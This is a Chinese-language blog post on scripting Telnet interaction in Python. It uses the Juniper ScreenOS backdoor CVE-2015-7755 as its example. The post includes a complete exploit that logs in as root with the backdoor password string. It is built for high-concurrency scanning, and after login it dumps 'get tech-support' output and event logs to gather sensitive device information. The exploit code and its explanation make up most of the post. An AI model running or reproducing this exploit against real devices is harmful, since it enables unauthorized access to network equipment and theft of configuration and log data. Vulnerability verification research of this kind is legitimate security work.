Python实现终端交互 —— 以Juniper后门CVE-2015-7755为例(一): Telnet篇

  • Title(EN): Shell Interaction in Python #1: Telent
  • Author: dog2

背景

我们常常需要使用编程语言实现与某些终端交互,以实现交互过程的可控性。具体到这类涉及终端交互的漏洞,只有编写合适的PoC/Exp,并与目标有正确的交互逻辑,才能进行漏洞验证。

这里,我们以Juniper后门漏洞CVE-2015-7755为例,介绍如何使用Python编写Telnet交互程序,且:

  • 要求该程序是可以用于高并发扫描的。
  • 实现Exp,获取相关敏感信息。

Juniper后门漏洞相关信息可参见Freebuf相关文章。简而言之,即可使用任意用户名及密码 <<< %s(un='%s') = %u 来登录一些Juniper ScreenOS设备的Telnet及SSh服务。

难点

模块选择

初版PoC程序我使用了相对底层的socket模块来简单实现,用于检测单个目标没有问题,但在高并发扫描的时候效率极低,猜测是I/O阻塞的原因。

转而使用系统库内置模块telnetlib:

  • 文档
  • 源码

使用telnet模块后并发扫描的效率就非常高了,CPU及带宽占用率都上去了。简单翻阅telnetlib的源码,发现它是有I/O控制的。

Exp

Juniper设备使用get命令来获取设备的各类信息,可以使用 get ? 来查看相关命令,其中最重要的是2个:

  • get tech-support : 它综合了大部分get子命令的结果。
  • get event : 包含了设备日志。

但存在一个问题,如上2个命令返回的全部信息总量通常比较大,一般>=40KB,而服务端不是一次性将信息全部输出给客户端的,而是分批输出到管道中的,客户端需要不断地键入回车,来顺序获取各个信息分段。

这就要求程序能不断获取结果信息,并正确判断最后一个分段以适时终止。

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import telnetlib as tl


def poc(host, port=23, timeout=10, successFlag='ping other host', doExp=True):
def exp(cmd, maxTo=3):
data = '--- more ---'
ret = ''
flag = '->'
while '->' in flag:
flag = telnetConn.read_until('->', timeout=timeout)
toNum = 0 # the max timeout times
telnetConn.write(cmd)
while ('- more -' in data) and (toNum < maxTo):
telnetConn.write('\n')
try:
data = telnetConn.read_until('- more -', timeout=timeout)
ret += data
except Exception as err:
toNum += 1
continue
return ret

telnetConn = tl.Telnet(host=host, port=port, timeout=timeout)
ret = ''
ret = telnetConn.read_until('login: ', timeout=timeout)
if 'login' not in ret.lower():
return False, ret, None, None, None
telnetConn.write('root' + '\n')
ret = telnetConn.read_until('password: ', timeout=timeout)
if 'password' not in ret.lower():
return False, None, None, None, None
telnetConn.write("<<< %s(un='%s') = %u" + '\n')
banner = telnetConn.read_some()
telnetConn.write('?' + '\n')
help = telnetConn.read_until(banner, timeout=timeout)
techsupport = ''
event = ''
success = successFlag in help.lower()
if success and doExp:
techsupport = exp(cmd='get tech-support')
event = exp(cmd='get event')
return success, banner, help, techsupport, event

代码说明:

  • 5 - 21行:实现了exp函数,用于在执行某个命令cmd,并获取全部的返回信息。其中, -> 字符串是juniper的shell输入提示符,我们通过判断它来过滤掉上一次的多余输出。在连续获取结果分段的过程中,若出现超时,则会最多尝试maxTo次。
  • 23 - 42行:主代码逻辑,登陆了远端telnet,并执行了?命令,判断返回的信息中是否包含success_flag变量对应的字符串,默认是'ping other host',若存在则断定存在该漏洞。若doExp为True,则表示执行Exp,则程序会调用exp()函数分别执行上节中提到2个get命令并获取全部返回信息。 这里需要特别指出的是,返回的techsupport字符串中可能含有各种特殊编码的字符串,因此若需对其进行转码操作请再三考虑,以防改变原始数据